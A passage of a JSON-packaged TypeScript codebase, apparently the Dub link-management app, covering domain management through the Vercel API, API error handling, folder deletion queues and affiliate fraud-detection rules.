    "content": "import { getApexDomain } from \"@dub/utils\";\nimport { isProxiedDomain } from \"./utils\";\n\nconst getVercelConfigResponse = async (domain: string) => {\n  return await fetch(\n    `https://api.vercel.com/v6/domains/${domain.toLowerCase()}/config?teamId=${process.env.TEAM_ID_VERCEL}`,\n    {\n      method: \"GET\",\n      headers: {\n        Authorization: `Bearer ${process.env.AUTH_BEARER_TOKEN}`,\n        \"Content-Type\": \"application/json\",\n      },\n    },\n  ).then((res) => res.json());\n};\n\nexport const getConfigResponse = async (domain: string) => {\n  if (isProxiedDomain(domain)) {\n    return {\n      misconfigured: false,\n      conflicts: [],\n    };\n  }\n  const apexDomain = getApexDomain(`https://${domain}`);\n  if (apexDomain !== domain) {\n    const wildcardDomain = `*.${apexDomain}`;\n    const wildcardResponse = await getVercelConfigResponse(wildcardDomain);\n    if (!wildcardResponse.misconfigured) {\n      return wildcardResponse;\n    }\n  }\n  return await getVercelConfigResponse(domain);\n};\n"
  },
  {
    "path": "apps/web/lib/api/domains/get-domain-or-throw.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Project } from \"@dub/prisma/client\";\nimport { DUB_WORKSPACE_ID, isDubDomain } from \"@dub/utils\";\nimport { DubApiError } from \"../errors\";\nimport { prefixWorkspaceId } from \"../workspaces/workspace-id\";\n\nexport const getDomainOrThrow = async ({\n  workspace,\n  domain,\n  dubDomainChecks,\n}: {\n  workspace: Pick<Project, \"id\">;\n  domain: string;\n  dubDomainChecks?: boolean; // if we also need to make sure the user can actually make changes to dub default domains\n}) => {\n  const domainRecord = await prisma.domain.findUnique({\n    where: { slug: domain },\n    include: {\n      registeredDomain: true,\n      partnerProgram: true,\n    },\n  });\n\n  if (!domainRecord) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: `Domain ${domain} not found.`,\n    });\n  }\n\n  /* if domain is defined:\n      - it's a dub domain:\n        - if dubDomainChecks is true, check if the user is part of the dub workspace\n        - if dubDomainChecks is false, do nothing\n      - it's a custom domain:\n        - check if the domain belongs to the workspace\n  */\n  if (isDubDomain(domain)) {\n    if (dubDomainChecks && workspace.id !== DUB_WORKSPACE_ID) {\n      throw new DubApiError({\n        code: \"forbidden\",\n        message: `Domain ${domain} does not belong to workspace ${prefixWorkspaceId(workspace.id)}.`,\n      });\n    }\n  } else if (domainRecord.projectId !== workspace.id) {\n    throw new DubApiError({\n      code: \"forbidden\",\n      message: `Domain ${domain} does not belong to workspace ${prefixWorkspaceId(workspace.id)}.`,\n    });\n  }\n\n  return domainRecord;\n};\n"
  },
  {
    "path": "apps/web/lib/api/domains/get-domain-response.ts",
    "content": "import { getApexDomain } from \"@dub/utils\";\nimport { isProxiedDomain } from \"./utils\";\n\nexport const getVercelDomainResponse = async (domain: string) => {\n  return await fetch(\n    `https://api.vercel.com/v9/projects/${process.env.PROJECT_ID_VERCEL}/domains/${domain.toLowerCase()}?teamId=${process.env.TEAM_ID_VERCEL}`,\n    {\n      method: \"GET\",\n      headers: {\n        Authorization: `Bearer ${process.env.AUTH_BEARER_TOKEN}`,\n        \"Content-Type\": \"application/json\",\n      },\n    },\n  ).then((res) => {\n    return res.json();\n  });\n};\n\nexport const getDomainResponse = async (domain: string) => {\n  if (isProxiedDomain(domain)) {\n    return {\n      verified: true,\n    };\n  }\n  const apexDomain = getApexDomain(`https://${domain}`);\n  if (apexDomain !== domain) {\n    const wildcardDomain = `*.${apexDomain}`;\n    const wildcardResponse = await getVercelDomainResponse(wildcardDomain);\n    if (wildcardResponse.verified) {\n      return wildcardResponse;\n    }\n  }\n  return await getVercelDomainResponse(domain);\n};\n"
  },
  {
    "path": "apps/web/lib/api/domains/get-email-domain-or-throw.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { DubApiError } from \"../errors\";\n\nexport const getEmailDomainOrThrow = async ({\n  programId,\n  domain,\n}: {\n  programId: string;\n  domain: string;\n}) => {\n  const emailDomain = await prisma.emailDomain.findUnique({\n    where: {\n      slug: domain,\n    },\n  });\n\n  if (!emailDomain) {\n    throw new DubApiError({\n      code: \"not_found\",\n      message: `Email domain (${domain}) not found.`,\n    });\n  }\n\n  if (emailDomain.programId !== programId) {\n    throw new DubApiError({\n      code: \"forbidden\",\n      message: `Email domain (${domain}) is not associated with the program.`,\n    });\n  }\n\n  return emailDomain;\n};\n"
  },
  {
    "path": "apps/web/lib/api/domains/is-valid-domain.ts",
    "content": "import { validDomainRegex } from \"@dub/utils\";\n\nexport const isValidDomain = (domain: string) => {\n  return (\n    validDomainRegex.test(domain) &&\n    // make sure the domain doesn't contain dub.co/dub.sh/d.to\n    !/^(dub\\.co|.*\\.dub\\.co|dub\\.sh|.*\\.dub\\.sh|d\\.to|.*\\.d\\.to)$/i.test(domain)\n  );\n};\n\nexport const isValidDomainFormat = (domain: string) => {\n  return validDomainRegex.test(domain);\n};\n\nexport const isValidDomainFormatWithLocalhost = (domain: string) => {\n  const d = domain.trim().toLowerCase();\n  return validDomainRegex.test(d) || /^localhost(?::\\d{1,5})?$/.test(d);\n};\n"
  },
  {
    "path": "apps/web/lib/api/domains/mark-domain-deleted.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { queueDomainDeletion } from \"./queue-domain-update\";\nimport { removeDomainFromVercel } from \"./remove-domain-vercel\";\n\n// Mark the domain as deleted\n// We'll delete the domain and its links via a cron job\nexport async function markDomainAsDeleted({ domain }: { domain: string }) {\n  const response = await Promise.allSettled([\n    removeDomainFromVercel(domain),\n\n    prisma.domain.update({\n      where: {\n        slug: domain,\n      },\n      data: {\n        projectId: null,\n      },\n    }),\n  ]);\n\n  await queueDomainDeletion({\n    domain,\n  });\n\n  response.forEach((promise) => {\n    if (promise.status === \"rejected\") {\n      console.error(\"markDomainAsDeleted\", {\n        reason: promise.reason,\n        domain,\n      });\n    }\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/api/domains/queue-domain-update.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\n\nexport const linkDomainUpdateSchema = z.object({\n  newDomain: z.string(),\n  oldDomain: z.string(),\n  programId: z.string().optional().describe(\"Only update program's links.\"),\n  startingAfter: z.string().optional(),\n});\n\ninterface QueueDomainUpdateProps\n  extends z.infer<typeof linkDomainUpdateSchema> {\n  delay?: number;\n}\n\nexport async function queueDomainUpdate({\n  oldDomain,\n  newDomain,\n  programId,\n  startingAfter,\n  delay,\n}: QueueDomainUpdateProps) {\n  return await qstash.publishJSON({\n    url: `${APP_DOMAIN_WITH_NGROK}/api/cron/domains/update`,\n    ...(delay && { delay }),\n    body: {\n      oldDomain,\n      newDomain,\n      ...(programId && { programId }),\n      ...(startingAfter && { startingAfter }),\n    },\n  });\n}\n\nexport async function queueDomainDeletion({\n  domain,\n  delay,\n}: {\n  domain: string;\n  delay?: number;\n}) {\n  return await qstash.publishJSON({\n    url: `${APP_DOMAIN_WITH_NGROK}/api/cron/domains/delete`,\n    ...(delay && { delay }),\n    body: {\n      domain,\n    },\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/api/domains/remove-domain-vercel.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { getApexDomain } from \"@dub/utils\";\n\nexport const removeDomainFromVercel = async (domain: string) => {\n  const apexDomain = getApexDomain(`https://${domain}`);\n  const domains = await prisma.domain.findMany({\n    where: {\n      OR: [\n        {\n          slug: apexDomain,\n        },\n        {\n          slug: {\n            endsWith: `.${apexDomain}`,\n          },\n        },\n      ],\n    },\n    select: {\n      slug: true,\n    },\n  });\n  // if there are other subdomains or the apex domain itself is in use\n  // so we should only remove it from our Vercel project\n  if (domains.filter((d) => d.slug !== domain).length > 0) {\n    return await fetch(\n      `https://api.vercel.com/v9/projects/${process.env.PROJECT_ID_VERCEL}/domains/${domain.toLowerCase()}?teamId=${process.env.TEAM_ID_VERCEL}`,\n      {\n        headers: {\n          Authorization: `Bearer ${process.env.AUTH_BEARER_TOKEN}`,\n        },\n        method: \"DELETE\",\n      },\n    ).then((res) => res.json());\n  } else {\n    // if this is the only domain that is in use\n    // we can remove it entirely from our Vercel team\n    return await fetch(\n      `https://api.vercel.com/v6/domains/${domain.toLowerCase()}?teamId=${process.env.TEAM_ID_VERCEL}`,\n      {\n        headers: {\n          Authorization: `Bearer ${process.env.AUTH_BEARER_TOKEN}`,\n        },\n        method: \"DELETE\",\n      },\n    ).then((res) => res.json());\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/api/domains/transform-domain.ts",
    "content": "import {\n  DomainSchema,\n  RegisteredDomainSchema,\n} from \"@/lib/zod/schemas/domains\";\nimport { Domain } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\n\ntype RegisteredDomain = z.infer<typeof RegisteredDomainSchema>;\n\nconst DomainSchemaExtended = DomainSchema.extend({\n  deepviewData: z.string().nullable(),\n});\n\nexport const transformDomain = (\n  domain: Domain & { registeredDomain: RegisteredDomain | null },\n) => {\n  return DomainSchemaExtended.parse({\n    ...domain,\n    assetLinks: domain.assetLinks ? JSON.stringify(domain.assetLinks) : null,\n    appleAppSiteAssociation: domain.appleAppSiteAssociation\n      ? JSON.stringify(domain.appleAppSiteAssociation)\n      : null,\n    deepviewData: domain.deepviewData\n      ? JSON.stringify(domain.deepviewData)\n      : null,\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/api/domains/utils.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { DubApiError } from \"../errors\";\nimport { isValidDomain } from \"./is-valid-domain\";\n\nexport const validateDomain = async (\n  domain: string,\n): Promise<{ error: string | null; code?: DubApiError[\"code\"] }> => {\n  if (!domain || typeof domain !== \"string\") {\n    return { error: \"Missing domain\", code: \"unprocessable_entity\" };\n  }\n  if (!isValidDomain(domain)) {\n    return { error: \"Invalid domain\", code: \"unprocessable_entity\" };\n  }\n  const exists = await domainExists(domain);\n  if (exists) {\n    return { error: \"Domain is already in use.\", code: \"conflict\" };\n  }\n  return { error: null };\n};\n\nexport const domainExists = async (domain: string) => {\n  const response = await prisma.domain.findFirst({\n    where: {\n      slug: domain,\n    },\n    select: {\n      slug: true,\n    },\n  });\n  return !!response;\n};\n\nexport interface CustomResponse extends Response {\n  json: () => Promise<any>;\n  error?: { code: string; projectId: string; message: string };\n}\n\n// special case for domains that use a reverse proxy in front of Dub (not recommended)\nexport const isProxiedDomain = (domain: string) => {\n  return [\"go.zillow.com\"].includes(domain);\n};\n"
  },
  {
    "path": "apps/web/lib/api/domains/verify-domain.ts",
    "content": "export const verifyDomain = async (domain: string) => {\n  return await fetch(\n    `https://api.vercel.com/v9/projects/${process.env.PROJECT_ID_VERCEL}/domains/${domain.toLowerCase()}/verify?teamId=${process.env.TEAM_ID_VERCEL}`,\n    {\n      method: \"POST\",\n      headers: {\n        Authorization: `Bearer ${process.env.AUTH_BEARER_TOKEN}`,\n        \"Content-Type\": \"application/json\",\n      },\n    },\n  ).then((res) => res.json());\n};\n"
  },
  {
    "path": "apps/web/lib/api/environment.ts",
    "content": "export const isProduction = process.env.NODE_ENV === \"production\";\nexport const isLocalDev = process.env.NODE_ENV === \"development\";\nexport const isCI = process.env.CI === \"true\";\n\nexport const skipAuthThrottling = isCI || isLocalDev;\n"
  },
  {
    "path": "apps/web/lib/api/error-codes.ts",
    "content": "import * as z from \"zod/v4\";\n\nexport const ErrorCodes = {\n  bad_request: 400,\n  unauthorized: 401,\n  forbidden: 403,\n  exceeded_limit: 403,\n  not_found: 404,\n  conflict: 409,\n  invite_pending: 409,\n  invite_expired: 410,\n  unprocessable_entity: 422,\n  rate_limit_exceeded: 429,\n  internal_server_error: 500,\n} as const;\n\nexport const ErrorCode = z.enum(\n  Object.keys(ErrorCodes) as [\n    keyof typeof ErrorCodes,\n    ...(keyof typeof ErrorCodes)[],\n  ],\n);\n"
  },
  {
    "path": "apps/web/lib/api/errors.ts",
    "content": "import { NextResponse } from \"next/server\";\nimport \"server-only\";\nimport { generateErrorMessage } from \"zod-error\";\nimport { ZodOpenApiResponseObject } from \"zod-openapi\";\nimport * as z from \"zod/v4\";\nimport { logger } from \"../axiom/server\";\nimport { ErrorCode, ErrorCodes } from \"./error-codes\";\n\nconst speakeasyErrorOverrides: Record<z.infer<typeof ErrorCode>, string> = {\n  bad_request: \"BadRequest\",\n  unauthorized: \"Unauthorized\",\n  forbidden: \"Forbidden\",\n  exceeded_limit: \"ExceededLimit\",\n  not_found: \"NotFound\",\n  conflict: \"Conflict\",\n  invite_pending: \"InvitePending\",\n  invite_expired: \"InviteExpired\",\n  unprocessable_entity: \"UnprocessableEntity\",\n  rate_limit_exceeded: \"RateLimitExceeded\",\n  internal_server_error: \"InternalServerError\",\n};\n\nconst ErrorSchema = z.object({\n  error: z.object({\n    code: ErrorCode.meta({\n      description: \"A short code indicating the error code returned.\",\n      example: \"not_found\",\n    }),\n    message: z.string().meta({\n      description: \"A human readable error message.\",\n      example: \"The requested resource was not found.\",\n    }),\n    doc_url: z.string().optional().meta({\n      description: \"A URL to more information about the error code reported.\",\n      example: \"https://dub.co/docs/api-reference\",\n    }),\n  }),\n});\n\ntype ErrorResponse = z.infer<typeof ErrorSchema>;\nexport type ErrorCodes = z.infer<typeof ErrorCode>;\n\nexport class DubApiError extends Error {\n  public readonly code: z.infer<typeof ErrorCode>;\n  public readonly docUrl?: string;\n\n  constructor({\n    code,\n    message,\n    docUrl,\n  }: {\n    code: z.infer<typeof ErrorCode>;\n    message: string;\n    docUrl?: string;\n  }) {\n    super(message);\n    this.code = code;\n    this.docUrl = docUrl ?? `${docErrorUrl}#${code.replace(\"_\", \"-\")}`;\n  }\n}\n\nconst docErrorUrl = \"https://dub.co/docs/api-reference/errors\";\n\nexport function fromZodError(error: z.ZodError): ErrorResponse {\n  return {\n    error: {\n      code: \"unprocessable_entity\",\n      message: generateErrorMessage(error.issues, {\n        maxErrors: 1,\n        delimiter: {\n          component: \": \",\n        },\n        path: {\n          enabled: true,\n          type: \"objectNotation\",\n          label: \"\",\n        },\n        code: {\n          enabled: true,\n          label: \"\",\n        },\n        message: {\n          enabled: true,\n          label: \"\",\n        },\n      }),\n      doc_url: `${docErrorUrl}#unprocessable-entity`,\n    },\n  };\n}\n\nfunction handleApiError(error: any): ErrorResponse & { status: number } {\n  console.error(error.message);\n\n  // Send error to Axiom\n  logger.error(error.message, error);\n  logger.flush();\n\n  // Zod errors\n  if (error instanceof z.ZodError) {\n    return {\n      ...fromZodError(error),\n      status: ErrorCodes.unprocessable_entity,\n    };\n  }\n\n  // DubApiError errors\n  if (error instanceof DubApiError) {\n    return {\n      error: {\n        code: error.code,\n        message: error.message,\n        doc_url: error.docUrl,\n      },\n      status: ErrorCodes[error.code],\n    };\n  }\n\n  // Prisma record not found error\n  if (error.code === \"P2025\") {\n    return {\n      error: {\n        code: \"not_found\",\n        message:\n          error?.meta?.cause ||\n          error.message ||\n          \"The requested resource was not found.\",\n        doc_url: `${docErrorUrl}#not-found`,\n      },\n      status: 404,\n    };\n  }\n\n  // Fallback\n  // Unhandled errors are not user-facing, so we don't expose the actual error\n  return {\n    error: {\n      code: \"internal_server_error\",\n      message:\n        \"An internal server error occurred. Please contact our support if the problem persists.\",\n      doc_url: `${docErrorUrl}#internal-server-error`,\n    },\n    status: 500,\n  };\n}\n\nexport function handleAndReturnErrorResponse(err: unknown, headers?: Headers) {\n  const { error, status } = handleApiError(err);\n  return NextResponse.json<ErrorResponse>({ error }, { headers, status });\n}\n\nexport const errorSchemaFactory = (\n  code: z.infer<typeof ErrorCode>,\n  description: string,\n): ZodOpenApiResponseObject => {\n  return {\n    description,\n    content: {\n      \"application/json\": {\n        schema: {\n          \"x-speakeasy-name-override\": speakeasyErrorOverrides[code],\n          type: \"object\",\n          properties: {\n            error: {\n              type: \"object\",\n              properties: {\n                code: {\n                  type: \"string\",\n                  enum: [code],\n                  description:\n                    \"A short code indicating the error code returned.\",\n                  example: code,\n                },\n                message: {\n                  \"x-speakeasy-error-message\": true,\n                  type: \"string\",\n                  description:\n                    \"A human readable explanation of what went wrong.\",\n                  example: \"The requested resource was not found.\",\n                },\n                doc_url: {\n                  type: \"string\",\n                  description:\n                    \"A link to our documentation with more details about this error code\",\n                  example: `${docErrorUrl}#${code.replace(\"_\", \"-\")}`,\n                },\n              },\n              required: [\"code\", \"message\"],\n            },\n          },\n          required: [\"error\"],\n        },\n      },\n    },\n  };\n};\n"
  },
  {
    "path": "apps/web/lib/api/folders/delete-workspace-folders.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { queueFolderDeletion } from \"./queue-folder-deletion\";\n\nexport async function deleteWorkspaceFolders({\n  workspaceId,\n  defaultProgramId, // if defaultProgramId is passed, exclude the default folder of the program from deletion\n}: {\n  workspaceId: string;\n  defaultProgramId?: string | null;\n}) {\n  let excludedFolderId: string | null = null;\n  if (defaultProgramId) {\n    const program = await prisma.program.findUniqueOrThrow({\n      where: {\n        id: defaultProgramId,\n      },\n      select: {\n        defaultFolderId: true,\n      },\n    });\n    excludedFolderId = program.defaultFolderId;\n  }\n  const folders = await prisma.folder.findMany({\n    where: {\n      projectId: workspaceId,\n      ...(excludedFolderId && {\n        id: {\n          not: excludedFolderId,\n        },\n      }),\n    },\n    select: {\n      id: true,\n    },\n  });\n\n  if (folders.length === 0) {\n    console.log(`No folders found to delete for workspace ${workspaceId}`);\n    return;\n  }\n\n  return await Promise.all([\n    ...folders.map(({ id }) =>\n      queueFolderDeletion({\n        folderId: id,\n      }),\n    ),\n    prisma.project.update({\n      where: {\n        id: workspaceId,\n      },\n      data: {\n        foldersUsage: 0,\n      },\n    }),\n  ]);\n}\n"
  },
  {
    "path": "apps/web/lib/api/folders/queue-folder-deletion.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\n\nexport async function queueFolderDeletion({\n  folderId,\n  delay,\n}: {\n  folderId: string;\n  delay?: number;\n}) {\n  return await qstash.publishJSON({\n    url: `${APP_DOMAIN_WITH_NGROK}/api/cron/folders/delete`,\n    ...(delay && { delay }),\n    body: {\n      folderId,\n    },\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/api/fraud/constants.ts",
    "content": "import { FraudRuleInfo, FraudSeverity, PaidTrafficPlatform } from \"@/lib/types\";\n\nexport const FRAUD_RULES: FraudRuleInfo[] = [\n  // Conversion event rules\n  {\n    type: \"customerEmailMatch\",\n    name: \"Matching customer email\",\n    description:\n      \"Customer's email matches the partner's email or a previously referred customer by the same partner.\",\n    scope: \"conversionEvent\",\n    configurable: true,\n  },\n  {\n    type: \"customerEmailSuspiciousDomain\",\n    name: \"Suspicious customer email domain\",\n    description:\n      \"Customer's email uses a disposable or temporary domain which could be a fraud attempt.\",\n    scope: \"conversionEvent\",\n    configurable: true,\n  },\n\n  // Referral source rules\n  {\n    type: \"paidTrafficDetected\",\n    name: \"Paid traffic\",\n    description:\n      \"A conversion, event, or click was made from paid advertising traffic.\",\n    scope: \"conversionEvent\",\n    configurable: true,\n  },\n  {\n    type: \"referralSourceBanned\",\n    name: \"Banned referral source\",\n    description:\n      \"A conversion, event, or click was made on a banned referral domain.\",\n    scope: \"conversionEvent\",\n    configurable: true,\n  },\n\n  // Partner rules\n  {\n    type: \"partnerFraudReport\",\n    name: \"Fraud report\",\n    description:\n      \"This partner was rejected from another program due to suspected fraud during their application.\",\n    scope: \"partner\",\n    severity: \"high\",\n    configurable: true,\n  },\n  {\n    type: \"partnerCrossProgramBan\",\n    name: \"Cross-program ban\",\n    description:\n      \"This partner has been banned from one or more other Dub programs, indicating a potential high-risk history.\",\n    scope: \"partner\",\n    severity: \"high\",\n    configurable: true,\n  },\n  {\n    type: \"partnerDuplicatePayoutMethod\",\n    name: \"Duplicate payout method\",\n    description:\n      \"This partner is using a payout method that is already linked to another partner account, which may indicate account duplication or fraudulent behavior.\",\n    scope: \"partner\",\n    severity: \"high\",\n    configurable: true,\n  },\n  {\n    type: \"partnerEmailDomainMismatch\",\n    name: \"Email domain mismatch with website\",\n    description:\n      \"The partner's email domain doesn't match their website domain.\",\n    scope: \"partner\",\n    severity: \"low\",\n    configurable: false,\n  },\n  {\n    type: \"partnerEmailMasked\",\n    name: \"Masked email address\",\n    description:\n      \"Uses an anonymized email address. Not harmful but harder to verify or contact directly.\",\n    scope: \"partner\",\n    severity: \"low\",\n    configurable: false,\n  },\n  {\n    type: \"partnerNoSocialLinks\",\n    name: \"No website or social links added\",\n    description:\n      \"This partner hasn't provided any social or web presence, making verification harder.\",\n    scope: \"partner\",\n    severity: \"medium\",\n    configurable: false,\n  },\n  {\n    type: \"partnerNoVerifiedSocialLinks\",\n    name: \"No verified website or social links\",\n    description:\n      \"Partner hasn't verified their website or any social presence, making verification harder.\",\n    scope: \"partner\",\n    severity: \"low\",\n    configurable: false,\n  },\n] as const;\n\nexport const FRAUD_RULES_BY_TYPE = Object.fromEntries(\n  FRAUD_RULES.map((rule) => [rule.type, rule]),\n) as Record<FraudRuleInfo[\"type\"], FraudRuleInfo>;\n\nexport const FRAUD_RULES_BY_SCOPE = FRAUD_RULES.reduce(\n  (acc, rule) => {\n    (acc[rule.scope] ||= []).push(rule);\n    return acc;\n  },\n  {} as Record<FraudRuleInfo[\"scope\"], FraudRuleInfo[]>,\n);\n\nexport const CONFIGURABLE_FRAUD_RULES = FRAUD_RULES.filter(\n  (rule) => rule.configurable,\n);\n\nexport const CONFIGURABLE_RULE_TYPES = CONFIGURABLE_FRAUD_RULES.map(\n  (rule) => rule.type,\n);\n\nexport const FRAUD_SEVERITY_CONFIG: Record<\n  FraudSeverity,\n  {\n    bg: string;\n    fg: string;\n    label: string;\n    rank: number;\n  }\n> = {\n  low: {\n    bg: \"bg-neutral-400\",\n    fg: \"text-neutral-400\",\n    label: \"Low\",\n    rank: 0,\n  },\n  medium: {\n    bg: \"bg-orange-500\",\n    fg: \"text-orange-500\",\n    label: \"Medium\",\n    rank: 1,\n  },\n  high: {\n    bg: \"bg-red-600\",\n    fg: \"text-red-600\",\n    label: \"High\",\n    rank: 2,\n  },\n} as const;\n\nexport const PAID_TRAFFIC_PLATFORMS = [\n  \"google\",\n  \"facebook\",\n  \"x\",\n  \"bing\",\n  \"linkedin\",\n  \"reddit\",\n  \"tiktok\",\n] as const;\n\nexport const PAID_TRAFFIC_PLATFORMS_CONFIG: {\n  id: PaidTrafficPlatform;\n  name: string;\n  queryParams: string[];\n}[] = [\n  {\n    id: \"google\",\n    name: \"Google\",\n    queryParams: [\"gclid\", \"gad_source\", \"gad_campaignid\"],\n  },\n  {\n    id: \"facebook\",\n    name: \"Facebook\",\n    queryParams: [\"fbclid\", \"fb_action_ids\"],\n  },\n  {\n    id: \"x\",\n    name: \"X\",\n    queryParams: [\"twclid\"],\n  },\n  {\n    id: \"bing\",\n    name: \"Bing\",\n    queryParams: [\"msclkid\"],\n  },\n  {\n    id: \"linkedin\",\n    name: \"LinkedIn\",\n    queryParams: [\"li_fat_id\"],\n  },\n  {\n    id: \"reddit\",\n    name: \"Reddit\",\n    queryParams: [\"rdclid\"],\n  },\n  {\n    id: \"tiktok\",\n    name: \"TikTok\",\n    queryParams: [\"ttclid\"],\n  },\n] as const;\n"
  },
  {
    "path": "apps/web/lib/api/fraud/create-fraud-events.ts",
    "content": "import { CreateFraudEventInput } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { prettyPrint } from \"@dub/utils\";\nimport { createId } from \"../create-id\";\nimport {\n  createFraudEventHash,\n  createGroupCompositeKey,\n  getPartnerIdForFraudEvent,\n  sanitizeFraudEventMetadata,\n} from \"./utils\";\n\nexport async function createFraudEvents(fraudEvents: CreateFraudEventInput[]) {\n  const startTime = performance.now();\n\n  if (fraudEvents.length === 0) {\n    console.log(`[createFraudEvents] No fraud events to create`);\n    return;\n  }\n\n  const eventsWithHash = fraudEvents.map((e) => ({\n    ...e,\n    hash: createFraudEventHash(e),\n  }));\n\n  // Deduplicate by hash in-memory first\n  const uniqueEvents = Array.from(\n    new Map(eventsWithHash.map((e) => [e.hash, e])).values(),\n  );\n\n  // Fetch existing events to prevent duplicate fraud event records\n  // A fraud event with the same hash in a pending group is considered a duplicate\n  const existingEvents = await prisma.fraudEvent.findMany({\n    where: {\n      hash: {\n        in: uniqueEvents.map((e) => e.hash),\n      },\n      fraudEventGroup: {\n        status: \"pending\",\n      },\n    },\n    select: {\n      id: true,\n      fraudEventGroupId: true,\n      hash: true,\n    },\n  });\n\n  // Deduplicate events by hash\n  const newEvents = uniqueEvents.filter(\n    (e) =>\n      !existingEvents.some((existingEvent) => existingEvent.hash === e.hash),\n  );\n\n  if (newEvents.length === 0) {\n    console.log(`[createFraudEvents] No new fraud events to create`);\n    return;\n  }\n\n  // Find existing groups to avoid creating duplicates and maintain group continuity\n  // Events with the same programId/partnerId/type should be grouped together\n  const existingGroups = await prisma.fraudEventGroup.findMany({\n    where: {\n      OR: newEvents.map((e) => ({\n        programId: e.programId,\n        partnerId: e.partnerId,\n        type: e.type,\n        status: \"pending\",\n      })),\n    },\n    select: {\n      id: true,\n      programId: true,\n      partnerId: true,\n      type: true,\n    },\n  });\n\n  // Identify events that need new groups created for programId/partnerId/type combinations\n  // that don't have existing pending groups\n  const groupsToCreate = newEvents.filter(\n    (e) =>\n      !existingGroups.some(\n        (g) =>\n          g.programId === e.programId &&\n          g.partnerId === e.partnerId &&\n          g.type === e.type,\n      ),\n  );\n\n  // Deduplicate groups to create since multiple events may require the same group\n  const newGroups = Array.from(\n    new Map(\n      groupsToCreate.map((e) => [`${e.programId}:${e.partnerId}:${e.type}`, e]),\n    ).values(),\n  ).map((e) => ({\n    id: createId({ prefix: \"frg_\" }),\n    programId: e.programId,\n    partnerId: e.partnerId,\n    type: e.type,\n  }));\n\n  // Create new groups\n  if (newGroups.length > 0) {\n    await prisma.fraudEventGroup.createMany({\n      data: newGroups,\n    });\n  }\n\n  // Final list of groups to use\n  const finalGroups = [...existingGroups, ...newGroups];\n\n  const finalGroupLookup = new Map(\n    finalGroups.map((g) => [createGroupCompositeKey(g), g.id]),\n  );\n\n  const newEventsWithGroup: Prisma.FraudEventCreateManyInput[] = newEvents.map(\n    (e) => ({\n      id: createId({ prefix: \"fre_\" }),\n      programId: e.programId,\n      fraudEventGroupId: finalGroupLookup.get(createGroupCompositeKey(e))!,\n      partnerId: getPartnerIdForFraudEvent(e),\n      linkId: e.linkId,\n      customerId: e.customerId,\n      eventId: e.eventId,\n      sourceProgramId: e.sourceProgramId,\n      hash: e.hash,\n      metadata: e.metadata ? sanitizeFraudEventMetadata(e.metadata) : undefined,\n    }),\n  );\n\n  const createdEvents = await prisma.fraudEvent.createMany({\n    data: newEventsWithGroup,\n  });\n\n  console.info(\n    `[createFraudEvents] Created ${createdEvents.count} fraud events ${prettyPrint(newEventsWithGroup)}`,\n  );\n  await Promise.allSettled(\n    finalGroups.map((group) =>\n      prisma.fraudEventGroup.update({\n        where: {\n          id: group.id,\n        },\n        data: {\n          lastEventAt: new Date(),\n          eventCount: {\n            increment: newEventsWithGroup.filter(\n              (e) => e.fraudEventGroupId === group.id,\n            ).length,\n          },\n        },\n      }),\n    ),\n  );\n\n  const endTime = performance.now();\n  console.info(\n    `[createFraudEvents] completed in ${(endTime - startTime).toFixed(2)}ms`,\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/api/fraud/define-fraud-rule.ts",
    "content": "import { FraudTriggeredRule } from \"@/lib/types\";\nimport { FraudRuleType } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\n\nexport function defineFraudRule<TCfg extends z.ZodType = z.ZodTypeAny>(rule: {\n  type: FraudRuleType;\n  configSchema?: TCfg;\n  defaultConfig?: z.infer<TCfg>;\n  evaluate: (\n    context: unknown,\n    config?: z.infer<TCfg>,\n  ) => Promise<FraudTriggeredRule>;\n}) {\n  return {\n    ...rule,\n    configSchema: rule.configSchema,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/api/fraud/detect-duplicate-payout-method-fraud.ts",
    "content": "import { CreateFraudEventInput } from \"@/lib/types\";\nimport { INACTIVE_ENROLLMENT_STATUSES } from \"@/lib/zod/schemas/partners\";\nimport { prisma } from \"@dub/prisma\";\nimport { FraudRuleType, ProgramEnrollment } from \"@dub/prisma/client\";\nimport { createFraudEvents } from \"./create-fraud-events\";\nimport { isFraudRuleEnabled } from \"./get-merged-fraud-rules\";\n\ntype DetectDuplicatePayoutMethodFraudOptions =\n  | { payoutMethodHash: string; cryptoWalletAddress?: never }\n  | { cryptoWalletAddress: string; payoutMethodHash?: never };\n\n// Check for duplicate payout methods: if multiple partners share the same payout method hash,\n// create fraud events for all their active program enrollments to flag potential fraud\nexport async function detectDuplicatePayoutMethodFraud({\n  payoutMethodHash,\n  cryptoWalletAddress,\n}: DetectDuplicatePayoutMethodFraudOptions) {\n  if (!payoutMethodHash && !cryptoWalletAddress) {\n    return;\n  }\n\n  let programEnrollments = await prisma.programEnrollment.findMany({\n    where: {\n      partner: {\n        OR: [\n          ...(payoutMethodHash ? [{ payoutMethodHash }] : []),\n          ...(cryptoWalletAddress ? [{ cryptoWalletAddress }] : []),\n        ],\n      },\n    },\n    select: {\n      programId: true,\n      partnerId: true,\n      status: true,\n      program: {\n        select: {\n          fraudRules: true,\n        },\n      },\n    },\n  });\n\n  if (programEnrollments.length === 0) {\n    return;\n  }\n\n  // Filter out program enrollments where the partnerDuplicatePayoutMethod rule is disabled\n  programEnrollments = programEnrollments.filter((enrollment) =>\n    isFraudRuleEnabled({\n      fraudRules: enrollment.program.fraudRules,\n      ruleType: FraudRuleType.partnerDuplicatePayoutMethod,\n    }),\n  );\n\n  